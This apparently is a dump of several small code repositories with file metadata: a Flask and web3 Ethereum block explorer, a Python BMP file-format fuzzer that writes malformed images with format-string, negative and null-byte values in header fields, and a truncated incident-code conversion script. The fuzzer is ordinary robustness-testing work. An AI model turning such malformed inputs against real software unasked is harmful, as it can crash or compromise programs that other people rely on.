"text": "\nclass Config:\n RpcConnection='HTTP://127.0.0.1:7545'\n FrontEndWindowSize=5\n "
},
{
"alpha_fraction": 0.7596989274024963,
"alphanum_fraction": 0.7984945178031921,
"avg_line_length": 34.97916793823242,
"blob_id": "d3c92990d09559523b762d74b97dc34d629b2a39",
"content_id": "185b109d8545fd05a063eef9c34749e7f908f075",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1727,
"license_type": "no_license",
"max_line_length": 106,
"num_lines": 48,
"path": "/Controller/BlockController.py",
"repo_name": "ushadeepp/Web3pyBlockExplorer",
"src_encoding": "UTF-8",
"text": "from flask import Flask\nfrom flask_cors import CORS, cross_origin\nimport json\nfrom Config.Config import *\nfrom Service.BlockService import *\nfrom Service.TransactionService import *\nfrom Helper.helper import *\n\nimport web3\nfrom web3 import Web3\nfrom web3.contract import ConciseContract\nfrom web3.middleware import geth_poa_middleware\n\napp = Flask(__name__)\nCORS(app, support_credentials=True)\nw3 = Web3(Web3.HTTPProvider(Config.RpcConnection))\n# w3.middleware_stack.inject(geth_poa_middleware, layer=0) \n\n\[email protected]('/getBlock/<blockNumber>')\n@cross_origin(supports_credentials=True)\ndef getBlockController(blockNumber):\n result=getBlock(w3,int(blockNumber))\n return toDict(result)\n\[email protected]('/getBlockList/<startBlockNumber>/<endBlockNumber>')\n@cross_origin(supports_credentials=True)\ndef getBlockListController(startBlockNumber,endBlockNumber):\n return json.dumps(getBlockList(w3,int(startBlockNumber),int(endBlockNumber)))\n\[email protected]('/getBlockListLatest')\n@cross_origin(supports_credentials=True)\ndef getBlockListLatestController():\n return json.dumps(getLatestBlockList(w3,Config.FrontEndWindowSize))\n\[email protected]('/getTransaction/<txhash>')\n@cross_origin(supports_credentials=True)\ndef getTransactionController(txhash):\n # 0x2e01ef55de66c8d99c61b56e70da12dc442c23f83e8a6a9ed021b215e2467209\n result=getTransaction(w3,txhash)\n return toDict(result)\n\[email protected]('/getTransactionList/<startBlock>/<offSet>')\n@cross_origin(supports_credentials=True)\ndef getTransactionListController(startBlock,offSet):\n app.logger.info('Controller hit') \n # recentTransactionList(app,w3,2199491,0,5) \n return json.dumps(recentTransactionList(app,w3,int(startBlock),int(offSet),Config.FrontEndWindowSize))\n"
},
{
"alpha_fraction": 0.758093535900116,
"alphanum_fraction": 0.769784152507782,
"avg_line_length": 41.769229888916016,
"blob_id": "93fd1c32ec2ca995db853df7da9c6779ce4f94cc",
"content_id": "6869853858f95b089120311f3fdba920a758fcfe",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 2252,
"license_type": "no_license",
"max_line_length": 235,
"num_lines": 52,
"path": "/ReadMe.md",
"repo_name": "ushadeepp/Web3pyBlockExplorer",
"src_encoding": "UTF-8",
"text": "# Ethereum Block Explorer with web3py\nThis is an easily configurable & quickly runnable Block Explorer for Ethereum network (preferred private Ethereum networks) developed using web3py & Angular.<br/>Backend is designed with Api's which can be consumed by existing systems.\n\n### Steps to Run:\nBackend Flask Server:\n1) Make sure Python is installed with Version above 3.0.0\n2) Install Packages using pip install -r requirements.txt\n3) Configure your Ethereum node RPC end point in Configure.py inside Configure Package\n4) Run Application : python Web3PyFlask.py\n\n\nFront end:\n<br>\nNote: Prerequsites: NodeJs & Angular\n\n1) Ensure NodeJs is installed in your machine.\nTo check if node is installed run: node -v in command line. If it returns the version, then node is installed. If not, visit NodeJs official website for installation instructions.\n2) After installing NodeJs, install Angular. \n run : npm install @angular/cli\n3) After installing the requirements, go into the explorerUi folder\n run: cd explorerUi\n4) run: npm install - to install the dependencies.\n5) run: ng serve - to host explorer in your local system.\n6) Open any web browser and visit \"http://localhost:4200/explorer\"\n\n### List of Api's:\n/getBlockList/\\<startBlockNumber\\>/\\<endBlockNumber\\> : to get the Block details of the given range.\n\n/getBlock/\\<blockNumber\\> : get Block details of given blockumber\n\n/getTransaction/\\<txhash\\> : get transaaction details of given transaction hash\n\n/getTransactionList/\\<startBlock\\>/\\<offSet\\> : get recent transactions staring from given block and offset is no of recent transactions you want to skip in the starting block.\n\n/getBlockListLatest : get recent 5 blocks (5 is the default window size given for front end, can change that from Configure.py if required).\n\n### Application:\n\nBlock explorer home screen.\n\n\nFetching individual transaction details by clicking on transaction hash.\n\n\n\nBlock search based on Block number.\n\n\nFull Block details display.\n\n\nThere you go! Happy Exploring..!!.\n"
},
{
"alpha_fraction": 0.3199999928474426,
"alphanum_fraction": 0.6000000238418579,
"avg_line_length": 11.5,
"blob_id": "ae1c6c0cbfb20e263dd23232456a3795d6b00478",
"content_id": "97f3ec06c0815b85685cf8f745582a5853b1bca4",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Text",
"length_bytes": 25,
"license_type": "no_license",
"max_line_length": 12,
"num_lines": 2,
"path": "/requirement.txt",
"repo_name": "ushadeepp/Web3pyBlockExplorer",
"src_encoding": "UTF-8",
"text": "Flask==1.1.1\nweb3==4.8.3\n"
},
{
"alpha_fraction": 0.6120129823684692,
"alphanum_fraction": 0.6120129823684692,
"avg_line_length": 29.850000381469727,
"blob_id": "8e20523fc05086a4a66e8dbbcef80467a2804ef0",
"content_id": "51068f29aa5cabd8a5c52774bf7da0e87cddc9e7",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 616,
"license_type": "no_license",
"max_line_length": 59,
"num_lines": 20,
"path": "/Helper/helper.py",
"repo_name": "ushadeepp/Web3pyBlockExplorer",
"src_encoding": "UTF-8",
"text": "def toDict(dictToParse):\n # convert any 'AttributeDict' type found to 'dict'\n parsedDict = dict(dictToParse)\n for key, val in parsedDict.items():\n if 'list' in str(type(val)):\n parsedDict[key] = [_parseValue(x) for x in val]\n else:\n parsedDict[key] = _parseValue(val)\n return parsedDict\n\n\ndef _parseValue(val):\n # check for nested dict structures to iterate through\n if 'dict' in str(type(val)).lower():\n return toDict(val)\n # convert 'HexBytes' type to 'str'\n elif 'HexBytes' in str(type(val)):\n return val.hex()\n else:\n return val"
},
{
"alpha_fraction": 0.6830000281333923,
"alphanum_fraction": 0.7039999961853027,
"avg_line_length": 26.027027130126953,
"blob_id": "8a85a8982db2c69212470a3ec17175e0f7cd50ce",
"content_id": "ae94472179dde8b8fdebb1285c63585c027f2ff1",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1000,
"license_type": "no_license",
"max_line_length": 65,
"num_lines": 37,
"path": "/Service/BlockService.py",
"repo_name": "ushadeepp/Web3pyBlockExplorer",
"src_encoding": "UTF-8",
"text": "from Helper.helper import *\n\n\ndef getBlock(w3,blockNumber):\n return w3.eth.getBlock(blockNumber)\n\n\n# To get the transactions in blocks range\ndef getTransactionHashList(w3,startBlock,EndBlock):\n transactionsHashList=[]\n for i in range(startBlock,EndBlock):\n currentBlock = w3.eth.getBlock(i)\n transactionsHashList.extend(currentBlock['transactions'])\n return transactionsHashList\n\n\ndef getBlockList(w3,startBlock,endBlock):\n resultList=[]\n if startBlock<0:\n startBlock=0\n for i in range(endBlock,startBlock-1,-1):\n resultList.append(toDict(getBlock(w3,i)))\n return resultList\n\n\n\ndef getLatestBlockList(w3,listSize):\n resultList=[]\n resultList.append(toDict(w3.eth.getBlock('latest')))\n endBlock=resultList[0]['number']-1\n if endBlock-listSize+2>=0:\n startBlock=endBlock-listSize+2\n else:\n startBlock=0\n for i in range(endBlock,startBlock-1,-1):\n resultList.append(toDict(getBlock(w3,i)))\n return resultList\n"
},
{
"alpha_fraction": 0.6433365345001221,
"alphanum_fraction": 0.6452540755271912,
"avg_line_length": 23.83333396911621,
"blob_id": "896d74fede76a840beab45725df11648cf1a42df",
"content_id": "a093c4a695ce722fd8e9680651f88801c4a07286",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "TypeScript",
"length_bytes": 2086,
"license_type": "no_license",
"max_line_length": 88,
"num_lines": 84,
"path": "/explorerUi/src/app/explorer/explorer.component.ts",
"repo_name": "ushadeepp/Web3pyBlockExplorer",
"src_encoding": "UTF-8",
"text": "import { Component, OnInit } from '@angular/core';\nimport { ExplorerService } from './explorer.service';\n\n@Component({\n selector: 'app-explorer',\n templateUrl: './explorer.component.html',\n styleUrls: ['./explorer.component.css']\n})\nexport class ExplorerComponent implements OnInit {\n\n blockList: any = [];\n detailedTransaction: any = {};\n detailedBlock: any = {};\n searchText: any;\n\n constructor(\n private explorerService: ExplorerService\n ) {\n console.log('Im into Explorer');\n }\n\n ngOnInit() {\n this.getLatestBlock();\n }\n\n blockMoreDetails(block: any) {\n console.log(block);\n this.detailedBlock = block;\n }\n\n onNext(blockNo: any) {\n console.log(blockNo);\n const startBlock = blockNo - 5;\n const endBlock = blockNo - 1;\n this.blockList = [];\n this.explorerService.getBlockStartEnd(startBlock, endBlock).subscribe( response => {\n console.log(response);\n this.blockList = response;\n }, error => {\n console.log('Error Occured');\n });\n }\n\n onBack(blockNo: any) {\n console.log(blockNo);\n const startBlock = blockNo + 1;\n const endBlock = blockNo + 5;\n this.blockList = [];\n this.explorerService.getBlockStartEnd(startBlock, endBlock).subscribe( response => {\n console.log(response);\n this.blockList = response;\n }, error => {\n console.log('Error Occured');\n });\n }\n\n getLatestBlock() {\n this.blockList = [];\n this.searchText = '';\n this.explorerService.getLatestBlock().subscribe( response => {\n console.log(response);\n this.blockList = response;\n });\n }\n\n getTransactionById(transactionId: any) {\n console.log(transactionId);\n this.explorerService.getTransaction(transactionId).subscribe( response => {\n console.log(response);\n this.detailedTransaction = response;\n });\n }\n\n getBlockById(blockNo: any) {\n console.log(blockNo);\n this.blockList = [];\n this.explorerService.getBlockById(blockNo).subscribe(response => {\n this.searchText = '';\n console.log(response);\n this.blockList.push(response);\n });\n }\n\n}\n"
},
{
"alpha_fraction": 0.5929678082466125,
"alphanum_fraction": 0.6025030016899109,
"avg_line_length": 39.82926940917969,
"blob_id": "1e6c6976972814ab7f9bcaf9a6d9b2a787d3c80e",
"content_id": "2843ae3b3939efa82b17184094b4ed526154efa4",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1678,
"license_type": "no_license",
"max_line_length": 100,
"num_lines": 41,
"path": "/Service/TransactionService.py",
"repo_name": "ushadeepp/Web3pyBlockExplorer",
"src_encoding": "UTF-8",
"text": "from Helper.helper import *\nfrom Service.BlockService import *\nimport logging\n\ndef getTransaction(w3,txHash):\n return w3.eth.getTransaction(txHash)\n\ndef recentTransactionList(app,w3,maxblock,offset,listlen):\n resultList=[]\n app.logger.info('Inside Service transaction list')\n currentBlock=getBlock(w3,maxblock)\n app.logger.info('transactions')\n app.logger.info(currentBlock['transactions'])\n if len(currentBlock['transactions']) > offset:\n j=1\n if len(currentBlock['transactions'])>0:\n while ((len(resultList) < listlen) and (len(currentBlock['transactions'])>=(j+offset))):\n result=toDict(getTransaction(w3,currentBlock['transactions'][-(j+offset)]))\n app.logger.info('result')\n app.logger.info(result)\n resultList.append(result) \n app.logger.info(resultList)\n j+=1\n \n while ((len(resultList)<listlen) and (maxblock>0)):\n maxblock-=1\n offset=0\n j=1\n currentBlock=getBlock(w3,maxblock)\n app.logger.info('transactions')\n app.logger.info(currentBlock['transactions'])\n app.logger.info(len(resultList))\n if len(currentBlock['transactions'])>0:\n while ((len(resultList)<listlen) and len(currentBlock['transactions'])>=(j+offset)):\n result=toDict(getTransaction(w3,currentBlock['transactions'][-(j+offset)]))\n app.logger.info('result')\n app.logger.info(result)\n resultList.append(result) \n app.logger.info(resultList)\n j+=1\n return resultList\n\n\n\n\n"
}
] | 8 |
mou514/BMP-Fuzzer | https://github.com/mou514/BMP-Fuzzer | 8cd054aadcd3f5151afbf294337428a4afb85047 | b2c5ef6438ea0419f2ce51a26e5f1ce2ef74e37b | c0d20f1db8e8c663f36bc9734afdec33746bc192 | refs/heads/master | 2020-07-15T15:07:15.847272 | 2019-09-20T14:21:52 | 2019-09-20T14:21:52 | 205,590,327 | 2 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.5962733030319214,
"alphanum_fraction": 0.6273291707038879,
"avg_line_length": 31.200000762939453,
"blob_id": "46928e444852618db65ca4f6f89acfe34c6148b8",
"content_id": "ae69a2778c3cde7b2d025b880023844a0e079081",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 644,
"license_type": "no_license",
"max_line_length": 80,
"num_lines": 20,
"path": "/generator.py",
"repo_name": "mou514/BMP-Fuzzer",
"src_encoding": "UTF-8",
"text": "class Generator:\n\t'Generator for Malformed Data'\n\t \n\tMalformedValues = [\n\t('RepeatedAx1','A'), ('RepeatedNULLx1','\\x00'),\n\t('Numeric -1','-1'), ('Numeric -2','-2'), ('Numeric 0','0'),\n\t('Binary -1 (BYTE)','\\xFF'), ('Binary -2 (BYTE)','\\xFE'),\n\t('Binary -2 (2 BYTES)','\\xFF\\xFE'), ('Binary -2 (2 BYTES Reverse)','\\xFE\\xFF'),\n\t('Format String %sx1','%s'), ('Format String %xx1','%x')]\n \n\tdef __init__(self):\n\t\tprint 'Generator Created'\n\tdef returnCount(self):\n\t\treturn len(self.MalformedValues)\n\t \n\tdef returnValueAt(self, value):\n\t\treturn self.MalformedValues[value][1]\n\t \n\tdef returnNameAt(self, value):\n\t\treturn self.MalformedValues[value][0]\n"
},
{
"alpha_fraction": 0.550000011920929,
"alphanum_fraction": 0.5541176199913025,
"avg_line_length": 29.92727279663086,
"blob_id": "1809938db9cf423cad466485ef93d76da7b0bdca",
"content_id": "f050e2bfe108807d07fa43df1f883ff2a64a89fa",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1700,
"license_type": "no_license",
"max_line_length": 94,
"num_lines": 55,
"path": "/Main.py",
"repo_name": "mou514/BMP-Fuzzer",
"src_encoding": "UTF-8",
"text": "import string \nfrom structure import Structure\nfrom generator import Generator\n \n##***************************************************************************\n## This function iterates over the protocol structure and\n## fuzzies input from generator data structure into available buffer\n##***************************************************************************\ndef iteratefuzz(structure, fuzz):\n for insertpoint in range(0, len(structure)):\n fileinput = ''\n fuzzed = 'false'\n print 'FUZZING FOR VALUE: ', fuzzvalue\n for row in range(0, len(structure)):\n #print structure[row]['Name']\n if row == insertpoint and structure[row]['Type'] == 'B':\n fuzzed = 'true'\n size = structure[row]['Size']\n fuzzer = fuzz\n while (len(fuzzer) < size):\n fuzzer = fuzzer + fuzz\n fileinput = fileinput + fuzzer\n else:\n fileinput = fileinput + structure[row]['Default']\n \n print fileinput.encode('hex')\n \n if fuzz == '\\x00':\n fuzz = 'null'\n \n if fuzzed == 'true':\n # Open a file\n fo = open(\"C:/Python27/EmanFuzzer/images/test\" + fuzz + str(insertpoint) + \".bmp\", \"wb\")\n fo.write(fileinput);\n \n # Close opend file\n fo.close()\n \n \n \n \n##**************************************************************************** \n \nrefStructure = Structure()\nGlobalStructure = refStructure.returnStructure()\nrefGenerator = Generator()\nCombinationCount = refGenerator.returnCount()\n \n \nprint 'Test cases:', CombinationCount , '\\n'\n \nfor x in range(0, CombinationCount):\n print refGenerator.returnNameAt(x)\n fuzzvalue = refGenerator.returnValueAt(x)\n iteratefuzz(GlobalStructure, fuzzvalue)"
},
{
"alpha_fraction": 0.4704519212245941,
"alphanum_fraction": 0.5276168584823608,
"avg_line_length": 75.17646789550781,
"blob_id": "076ed06318e92ef9d611ae1df0aa5fa943a4db1c",
"content_id": "4fdd22059f814fdc812916dc7668f4e7bb3064e8",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2589,
"license_type": "no_license",
"max_line_length": 164,
"num_lines": 34,
"path": "/structure.py",
"repo_name": "mou514/BMP-Fuzzer",
"src_encoding": "UTF-8",
"text": "'''\nKindly Check the following Link:\nhttps://en.wikipedia.org/wiki/BMP_file_format\n'''\nclass Structure:\n\t'Structure for BMP Image File'\n\t #Bitmap File Header\n\tBMPStructure = [{'Name': 'bfType' , 'Type': 'C', 'Default': 'BM', 'Size': -1}, #Bitmap Type, C=Constant, DefaultValue=BM\n\t{'Name': 'bfSize' , 'Type': 'L', 'Default': '\\x33\\x33\\x33\\x33', 'Size': 4, 'Order': 'Reverse'}, #Bitmap Size, L=Length \n\t{'Name': 'bfReserved1' , 'Type': 'C', 'Default': '\\x00\\x00', 'Size': -1}, #Reserved1\n\t{'Name': 'bfReserved2' , 'Type': 'C', 'Default': '\\x00\\x00', 'Size': -1}, #Reserved2\n\t{'Name': 'bfOffBits' , 'Type': 'C', 'Default': '\\x36\\x00\\x00\\x00', 'Size': -1}, #OffsetBits=Offset where the pixel array (bitmap data) can be found\n\t #Bitmap Info Header\n\t{'Name': 'biSize' , 'Type': 'C', 'Default': '\\x28\\x00\\x00\\x00', 'Size': -1}, #Size=Number of bytes in the DIB header (from this point)\n\t{'Name': 'biWidth' , 'Type': 'B', 'Default': '\\x02\\x00\\x00\\x00', 'Size': 4}, #Width, B=Buffer\n\t{'Name': 'biHeight' , 'Type': 'B', 'Default': '\\x02\\x00\\x00\\x00', 'Size': 4}, #Height\n\t{'Name': 'biPlanes' , 'Type': 'B', 'Default': '\\x01\\x00', 'Size': 2}, #Number of Planes\n\t{'Name': 'biBitCount' , 'Type': 'B', 'Default': '\\x18\\x00', 'Size': 2}, #Number of Bits per Pixels\n\t{'Name': 'biCompression' , 'Type': 'C', 'Default': '\\x00\\x00\\x00\\x00', 'Size': -1}, #Compression\n\t{'Name': 'biSizeImage' , 'Type': 'B', 'Default': '\\x10\\x00\\x00\\x00', 'Size': 4}, #Size of raw bitmap data\n\t{'Name': 'biXPelsPerMeter' , 'Type': 'B', 'Default': '\\x13\\x0B\\x00\\x00', 'Size': 4}, #Print resolution of image X\n\t{'Name': 'biYPelsPerMeter' , 'Type': 'B', 'Default': '\\x13\\x0B\\x00\\x00', 'Size': 4}, #Print resolution of image Y\n\t{'Name': 'biClrUsed' , 'Type': 'B', 'Default': '\\x00\\x00\\x00\\x00', 'Size': 4}, #Number of colors in palette\n\t{'Name': 'biClrImportant' , 'Type': 'B', 'Default': '\\x00\\x00\\x00\\x00', 'Size': 4}, #Color Important \n\t \n\t{'Name': 'aColors', 'Type': 'B', 'Default': '\\xFF\\x20', 'Size': 64}, #Colors\n\t \n\t{'Name': 'aBitmapBits', 'Type': 'B', 'Size': 64, #Bitmap Image Bits (R,G,B)\n\t'Default': '\\x00\\x00\\xFF\\xFF\\xFF\\xFF\\x00\\x00\\xFF\\x00\\x00\\x00\\xFF\\x00\\x00\\x00'}]\n \n\tdef __init__(self):\n\t\tprint 'Structure Instance Created'\n\tdef returnStructure(self):\n\t\treturn self.BMPStructure"
},
{
"alpha_fraction": 0.7721518874168396,
"alphanum_fraction": 0.797468364238739,
"avg_line_length": 78,
"blob_id": "b5f6d1184b04b045ff56dbfa443f5eb62253e19b",
"content_id": "01653db53ac822d2763973cf49133594040a6e88",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 79,
"license_type": "no_license",
"max_line_length": 78,
"num_lines": 1,
"path": "/README.MD",
"repo_name": "mou514/BMP-Fuzzer",
"src_encoding": "UTF-8",
"text": "this self written PY version 2.7 code to fuzz BMP images and return the output\n"
}
] | 4 |
tstan/incidents | https://github.com/tstan/incidents | d015e2eb339126fdbdc3ce40450674c809cac7f0 | 9d838f89ac69c7ef679475202ffadd6ea5f01c6a | 27f40590c9079d32cd07450133c06b3991fa5336 | refs/heads/master | 2021-01-24T04:07:40.149967 | 2016-06-20T00:00:55 | 2016-06-20T00:00:55 | null | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.46666666865348816,
"alphanum_fraction": 0.6666666865348816,
"avg_line_length": 14,
"blob_id": "b931f3b6a4cc8a4166f053ffb5f3d5ae89f19581",
"content_id": "cba7f7b5224584daeba71ebd4e77b1bdacf253d1",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Text",
"length_bytes": 15,
"license_type": "no_license",
"max_line_length": 14,
"num_lines": 1,
"path": "/requirements.txt",
"repo_name": "tstan/incidents",
"src_encoding": "UTF-8",
"text": "geojson==1.0.1\n"
},
{
"alpha_fraction": 0.5312772989273071,
"alphanum_fraction": 0.545896053314209,
"avg_line_length": 40.01593780517578,
"blob_id": "e5463afe0b21d2ceb72138e15e9d4e8822ba1536",
"content_id": "011d67af851cc00fa4b8eb82eb1401835ec8f14b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 20590,
"license_type": "no_license",
"max_line_length": 74,
"num_lines": 502,
"path": "/convert.py",
"repo_name": "tstan/incidents",
"src_encoding": "UTF-8",
"text": "import os\nimport itertools\nfrom datetime import datetime\n\nimport geojson\n\n\njrsdtns = {\n \"AG\": \"Arroyo Grande\",\n \"ATAS\": \"Atascadero\",\n \"CAMBRIA\": \"Cambria\",\n \"CAY\": \"Cayucos\",\n \"GB\": \"Grover Beach\",\n \"LOS_OSOS\": \"Los Osos\",\n \"MB\": \"Morro Bay\",\n \"NIP\": \"Nipomo\",\n \"OCE\": \"\",\n \"OOJ\": \"\",\n \"PB\": \"Pismo Beach\",\n \"PR\": \"Paso Robles\",\n \"SAN_MIG\": \"San Miguel\",\n \"SANTA_MARG\": \"\",\n \"SHAN\": \"Shandon\",\n \"SLO\": \"SLO City\",\n \"SLO_CO\": \"SLO County\",\n \"TEMP\": \"Templeton\"\n}\n\n# callsign: (category, more info),\ntypes = {\n \"DEL\": (\"Other\", \"Delay Response\"),\n \"FAA\": (\"Fire\", \"Aircraft\"),\n \"FAAL\": (\"Fire\", \"Aircraft - Large\"),\n \"FAAS\": (\"Fire\", \"Aircraft - Small\"),\n \"FCS\": (\"Fire\", \"Smoke Check\"),\n \"FFA\": (\"Fire\", \"False Alarm\"),\n \"FFAS\": (\"Fire\", \"False Alarm Smoke\"),\n \"FOA\": (\"Fire\", \"Assist\"),\n \"FOAI\": (\"Fire\", \"Assist-Instant Aid\"),\n \"FOAM\": (\"Fire\", \"Assist-Mutual Aid\"),\n \"FOAS\": (\"Fire\", \"Mutual-Aid Struct\"),\n \"FOAV\": (\"Fire\", \"Vehicle Assist\"),\n \"FOAW\": (\"Fire\", \"Wildland Assist\"),\n \"FOD\": (\"Fire\", \"Debris\"),\n \"FODCB\": (\"Fire\", \"Check Control Burn\"),\n \"FODI\": (\"Fire\", \"Debris Illegal\"),\n \"FODR\": (\"Fire\", \"Debris - Roadside\"),\n \"FOI\": (\"Fire\", \"Improvement\"),\n \"FOO\": (\"Fire\", \"Other\"),\n \"FOOA\": (\"Fire\", \"Agriculture\"),\n \"FOOAH\": (\"Fire\", \"Almond Hulls\"),\n \"FOOCM\": (\"Fire\", \"Cotton Module\"),\n \"FOOD\": (\"Fire\", \"Dumpster\"),\n \"FOOHS\": (\"Fire\", \"Haystack\"),\n \"FOOP\": (\"Fire\", \"Pole\"),\n \"FSC\": (\"Fire\", \"Commercial\"),\n \"FSCA\": (\"Fire\", \"Commercial Alarm\"),\n \"FSCM\": (\"Fire\", \"STR Marina and Boat\"),\n \"FSCR\": (\"Fire\", \"3rd Alarm into RDN\"),\n \"FSCW\": (\"Fire\", \"Com Struct Wildland\"),\n \"FSM\": (\"Fire\", \"Multi Family\"),\n \"FSMA\": (\"Fire\", \"Multi Family Alarm\"),\n \"FSO\": (\"Fire\", \"Structure Other\"),\n \"FSOF\": (\"Fire\", \"Structure Flue\"),\n \"FSOP\": (\"Fire\", \"Structure Pier\"),\n \"FSOU\": (\"Fire\", \"Type Unknown\"),\n \"FSR\": (\"Fire\", \"Residential\"),\n \"FSRA\": (\"Fire\", \"Residential Alarm\"),\n \"FSRC\": (\"Fire\", \"Chimney\"),\n \"FSRO\": (\"Fire\", \"Oven\"),\n \"FSRW\": (\"Fire\", \"Res Struct Wildland\"),\n \"FVC\": (\"Fire\", \"Veh Commercial\"),\n \"FVCL\": (\"Fire\", \"Large Vehicle\"),\n \"FVCLW\": (\"Fire\", \"Large Vehicle Wildland\"),\n \"FVCT\": (\"Fire\", \"Train\"),\n \"FVCTW\": (\"Fire\", \"Train Threat Veg\"),\n \"FVCW\": (\"Fire\", \"Veh Com Wildland\"),\n \"FVP\": (\"Fire\", \"Veh Passenger\"),\n \"FVPB\": (\"Fire\", \"Boat\"),\n \"FVPBL\": (\"Fire\", \"Boat Large\"),\n \"FVPSC\": (\"Fire\", \"Veh Pas Thr Com Str\"),\n \"FVPSR\": (\"Fire\", \"Veh Pas Thr Res Str\"),\n \"FVPW\": (\"Fire\", \"Veh Pass Wildland\"),\n \"FWL\": (\"Fire\", \"Wildland\"),\n \"FWLCD\": (\"Fire\", \"Center Div/Vac Lot\"),\n \"FWLG\": (\"Fire\", \"Grass-LRA\"),\n \"FWLH\": (\"Fire\", \"Wildland High\"),\n \"FWLL\": (\"Fire\", \"Wildland Low\"),\n \"FWLM\": (\"Fire\", \"Wildland Med\"),\n \"FWLMTZ\": (\"Fire\", \"Wildland City MTZ\"),\n \"FWLT\": (\"Fire\", \"Wildland Lightning\"),\n \"FWLZ\": (\"Fire\", \"Wildland T Zone\"),\n \"HAS\": (\"Hazard\", \"Haz, Aircraft\"),\n \"HAS1\": (\"Hazard\", \"Hazard, Aircraft, Alert 1\"),\n \"HAS2\": (\"Hazard\", \"Hazard, Aircraft, Alert 2\"),\n \"HAS3\": (\"Hazard\", \"Hazard, Aircraft, Alert 3\"),\n \"HFS\": (\"Hazard\", \"Haz, Fire Menace Standby\"),\n \"HFSEQ\": (\"Hazard\", \"Haz, Earthquake\"),\n \"HFSFW\": (\"Hazard\", \"Haz, Fireworks Complaint\"),\n \"HFSP\": (\"Hazard\", \"Haz, Petro Spill - SM\"),\n \"HOA\": (\"Hazard\", \"Haz, Assist\"),\n \"HOAB\": (\"Hazard\", \"Haz, Assist BINTF\"),\n \"HOAT\": (\"Hazard\", \"Haz, Assist BINTF\"),\n \"HOAW\": (\"Hazard\", \"Haz, Tree\"),\n \"HSB\": (\"Hazard\", \"Haz, Bomb Threat\"),\n \"HSBC\": (\"Hazard\", \"Bomb Threat - Commercial\"),\n \"HSBR\": (\"Hazard\", \"Bomb Threat - Residential\"),\n \"HSBT\": (\"Hazard\", \"Bomb Threat - Other\"),\n \"HSBTC\": (\"Hazard\", \"Bomb Threat, Com / MFD\"),\n \"HSBTS\": (\"Hazard\", \"Bomb Threat - Residential\"),\n \"HSBTV\": (\"Hazard\", \"Bomb Threat, Vehicle\"),\n \"HSE\": (\"Hazard\", \"Haz, Electrical\"),\n \"HSG\": (\"Hazard\", \"Haz, Gas\"),\n \"HSGC\": (\"Hazard\", \"Haz, Gas - Commercial STR\"),\n \"HSGR\": (\"Hazard\", \"Haz, Gas - Res STR\"),\n \"HTT\": (\"Hazard\", \"Haz, Terrorist Threat\"),\n \"HZM\": (\"Hazard\", \"Hazmat\"),\n \"HZM1\": (\"Hazard\", \"Hazmat, Level 1\"),\n \"HZM2\": (\"Hazard\", \"Hazmat, Level 2\"),\n \"HZM3\": (\"Hazard\", \"Hazmat, Level 3\"),\n \"HZM3M\": (\"Hazard\", \"Hazmat, L3, Mass Casualty\"),\n \"HZMCMA\": (\"Hazard\", \"Car Mon Alarm Sounding\"),\n \"HZMDL\": (\"Hazard\", \"Hazmat, Drug Lab\"),\n \"HZMEX\": (\"Hazard\", \"Explosion\"),\n \"HZMF\": (\"Hazard\", \"Haz, Flam. Liquid\"),\n \"HZMMC\": (\"Hazard\", \"Hazmat, Mass Casualty\"),\n \"LEB\": (\"Law Enforcement\", \"LE, Arson Bomb\"),\n \"LEBK\": (\"Law Enforcement\", \"LE, Arson Bomb, K9\"),\n \"LEI\": (\"Law Enforcement\", \"LE, Investigation\"),\n \"LEIJ\": (\"Law Enforcement\", \"LE, Investigation, JDSF\"),\n \"LEO\": (\"Law Enforcement\", \"LE, Other\"),\n \"LEOAOA\": (\"Law Enforcement\", \"LE, Assist Other Agency\"),\n \"LEOCE\": (\"Law Enforcement\", \"LE, Code Enforcement\"),\n \"LEOF\": (\"Law Enforcement\", \"LE, Fireworks Complaint\"),\n \"LEOJ\": (\"Law Enforcement\", \"LE, JDSF\"),\n \"LEOMON\": (\"Law Enforcement\", \"LE, Monitoring/Transport\"),\n \"MED\": (\"Medical\", \"Medical\"),\n \"MED01\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED01A\": (\"Medical\", \"MEDICAL - C2 - ABD Pain\"),\n \"MED02\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED03\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED03A\": (\"Medical\", \"MEDICAL - C2 - Animal Bite\"),\n \"MED04\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED05\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED05A\": (\"Medical\", \"MEDICAL - C2 - Back Pain\"),\n \"MED06\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED07\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED08\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED09\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED1\": (\"Medical\", \"Medical, Priority 1\"),\n \"MED10\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED11\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED12\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED12A\": (\"Medical\", \"MEDICAL - C2 - Seizures\"),\n \"MED13\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED13A\": (\"Medical\", \"MEDICAL - C2 - Diabetic\"),\n \"MED14\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED15\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED16\": 